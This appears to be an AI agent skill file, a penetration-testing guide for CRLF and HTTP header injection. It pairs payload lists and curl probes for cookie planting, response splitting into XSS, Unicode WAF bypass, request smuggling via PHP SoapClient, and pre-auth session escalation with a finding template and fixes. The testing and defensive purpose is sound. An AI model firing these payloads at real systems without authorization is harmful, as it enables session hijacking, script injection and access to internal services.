testing-for-crlf-injection

name: testing-for-crlf-injection description: Testing web applications for CRLF (Carriage Return / Line Feed) injection where unsanitized %0d%0a sequences in user input let an attacker inject HTTP headers, split responses, poison caches, plant cookies, or pivot to XSS and request smuggling. Activates when user input is reflected into response headers, Location redirects, log files, or outbound requests made by the application. domain: cybersecurity subdomain: web-application-security tags:

• penetration-testing
• crlf-injection
• http-header-injection
• response-splitting
• owasp
• web-security version: '1.0' author: xalgorix license: Apache-2.0

Testing for CRLF / HTTP Header Injection

When to Use

• When user input is reflected into a response header (Set-Cookie, Location, X-*, custom headers)
• When testing redirect parameters (?url=, ?next=, ?redirect=) that feed a Location: header
• When the app writes user data into log files, session files, or memcache keys without sanitizing \r\n
• When an internal HTTP client (PHP SoapClient, RestSharp, Refit, Go/Java HTTP libs) builds requests from user input — header injection there enables SSRF / request smuggling
• When pre-auth session state is persisted to disk and later reloaded (newline injection can become an auth bypass)

Critical: Variants Most Often Missed

Scanners stop after the literal %0d%0a is filtered. Carriage Return is %0d (\r), Line Feed is %0a (\n). For EVERY reflected/redirect/log parameter, run the full matrix:

# 1. Header injection / cookie planting (single CRLF)
/%0d%0aSet-Cookie:%20mycookie=myvalue
/%0d%0aLocation:%20http://attacker.com

# 2. Response splitting → body injection → XSS (double CRLF ends headers)
?user_input=Value%0d%0a%0d%0a<script>alert(document.domain)</script>
/%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E

# 3. Inject Content-Encoding to force browser to render attacker body (Praetorian)
%0d%0aContent-Encoding:%20identity%0d%0aContent-Length:%2030%0d%0a

# 4. CRLF chained with open redirect filter bypass
//www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2
/www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2
/google.com/%2F..%0D%0AHeader-Test:test2

# 5. Unicode newline bypass (WAF strips \r\n but back-end normalizes these)
%E5%98%8A   = %0A (\u560a)        %E5%98%8D = %0D (\u560d)
%E2%80%A8   = U+2028 LINE SEPARATOR
%E2%80%A9   = U+2029 PARAGRAPH SEPARATOR
%C2%85      = U+0085 NEXT LINE
# Overlong/UTF-8 combo payload:
%E5%98%8A%E5%98%8DSet-Cookie:%20test
/%0A%E2%80%A8Set-Cookie:%20admin=true

# 6. Connection keep-alive prefix injection → request smuggling / response queue poisoning
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1

How to CONFIRM a hit (avoid false negatives)

Look at the RAW response (use curl -i / Burp, never a browser that re-renders):

• Header injection: the injected header appears as a real header line in the response (e.g., a new Set-Cookie: mycookie=myvalue or Header-Test: test2). Confirm it sits in the header block, not the body.
• Response splitting: a second HTTP/1.1 200 OK block or your injected Content-Type: text/html precedes attacker-controlled body. Browser executes the <script>.
• Open-redirect chain: a 302 with Location: pointing to your domain that the app never intended.
• Blind / smuggling: out-of-band callback hits your collaborator, or the next user's response is desynced/poisoned.
• If literal \r\n is stripped, a successful Unicode variant proves the back-end normalizes U+2028/2029/0085 to \n.

Workflow

Step 1: Identify Reflection / Header Sinks

# Find params reflected into headers or redirects in Burp proxy history.
# Probe a redirect/header param and inspect raw response headers:
curl -i "https://target.example.com/redirect?url=test%0d%0aX-Injected:%20pwned"
curl -i "https://target.example.com/page?lang=en%0d%0aSet-Cookie:%20crlftest=1"
# If X-Injected / Set-Cookie shows in the header block → injectable.

Step 2: Exploit — Header Injection, Cookie Planting, Response Splitting

# Plant a cookie (session fixation)
curl -i "https://target.example.com/p?x=%0d%0aSet-Cookie:%20SESSION=attacker"

# Split the response and inject an XSS body
curl -i "https://target.example.com/p?x=val%0d%0a%0d%0a%3Cscript%3Ealert(document.domain)%3C/script%3E"

# Force the browser to render attacker HTML via Content-Encoding: identity
curl -i "https://target.example.com/p?x=v%0d%0aContent-Encoding:%20identity%0d%0aContent-Length:%2030%0d%0a%0d%0a<svg onload=alert(1)>"

# Path-based injection to fully control the response (Starbucks-style)
curl -i "https://target.example.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert(document.domain)%3C/script%3E"

Step 3: Escalate — Smuggling, SSRF via Internal Clients, Auth Bypass

// PHP SoapClient user_agent header injection → smuggle a full second request
$client = new SoapClient(null, array(
  'uri'      => 'http://127.0.0.1:9090/test',
  'location' => 'http://127.0.0.1:9090/test',
  'user_agent' => "IGN\r\n\r\nPOST /proxy HTTP/1.1\r\nHost: local.host.htb\r\n".
                  "Cookie: PHPSESSID=[PHPSESSID]\r\n".
                  "Content-Type: application/x-www-form-urlencoded\r\n".
                  "Content-Length: 19\r\n\r\nvariable=post value"
));
$client->__soapCall("test", []);

# Response-queue poisoning prefix (PortSwigger): keep connection open then smuggle
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1

# Memcache injection (Zimbra-style): inject newline-delimited memcache commands via an
# unsanitized cache key to poison cached credentials.

For line-oriented pre-auth session stores, inject CRLF so the serialized session gains trusted keys (user=root, tfa_verified=1); trigger a session reload to upgrade a pre-auth session into a privileged one.

Key Concepts

Tools & Systems

Common Scenarios

Scenario 1: Redirect Parameter → Set-Cookie

A ?url= redirect reflects into the Location header. ?url=%0d%0aSet-Cookie:%20SESSION=fixed plants an attacker-controlled session cookie, enabling session fixation.

Scenario 2: WAF Strips \r\n but Unicode Works

The proxy removes literal %0d%0a, so basic payloads fail. %E5%98%8A%E5%98%8DSet-Cookie:%20test is normalized to a real CRLF by the Java back-end and the header is injected — a confirmed bypass.

Scenario 3: Internal HTTP Client (CVE-2024-45302 RestSharp)

A back-end microservice builds requests with client.AddHeader("X-Foo", userInput). Injecting bar%0d%0aHost:evil adds a second Host header, enabling SSRF / request smuggling against internal services.

Output Format

## CRLF / HTTP Header Injection Finding

**Vulnerability**: CRLF Injection / HTTP Response Splitting
**Severity**: High (CVSS 7.4–8.8 depending on chain)
**Location**: GET /redirect?url=<CRLF payload>
**OWASP Category**: A03:2021 - Injection

### Reproduction Steps
1. Send: GET /redirect?url=val%0d%0aSet-Cookie:%20crlftest=1 HTTP/1.1
2. Observe raw response contains an injected header: Set-Cookie: crlftest=1
3. Escalate with %0d%0a%0d%0a<script>alert(document.domain)</script> to inject body/XSS

### Evidence
| Payload | Observed Header/Body | Effect |
|---------|----------------------|--------|
| %0d%0aSet-Cookie:... | Set-Cookie injected | Cookie planting / session fixation |
| %0d%0a%0d%0a<script>... | Reflected in body, executed | Stored/reflected XSS |
| Unicode %E5%98%8A%E5%98%8D | CRLF after normalization | WAF bypass |

### Impact
Cookie planting, XSS without script-in-body filters, cache poisoning, open-redirect chaining, and (via internal clients) SSRF / request smuggling.

### Recommendation
1. Never place raw user input into response headers; use framework header APIs that reject CR/LF.
2. Strip/encode CR, LF, and Unicode line terminators (U+2028, U+2029, U+0085) before use.
3. Update HTTP client libraries to versions that sanitize headers (e.g., RestSharp ≥110.2.0).
4. Use allow-lists for redirect targets and validate session/cache keys.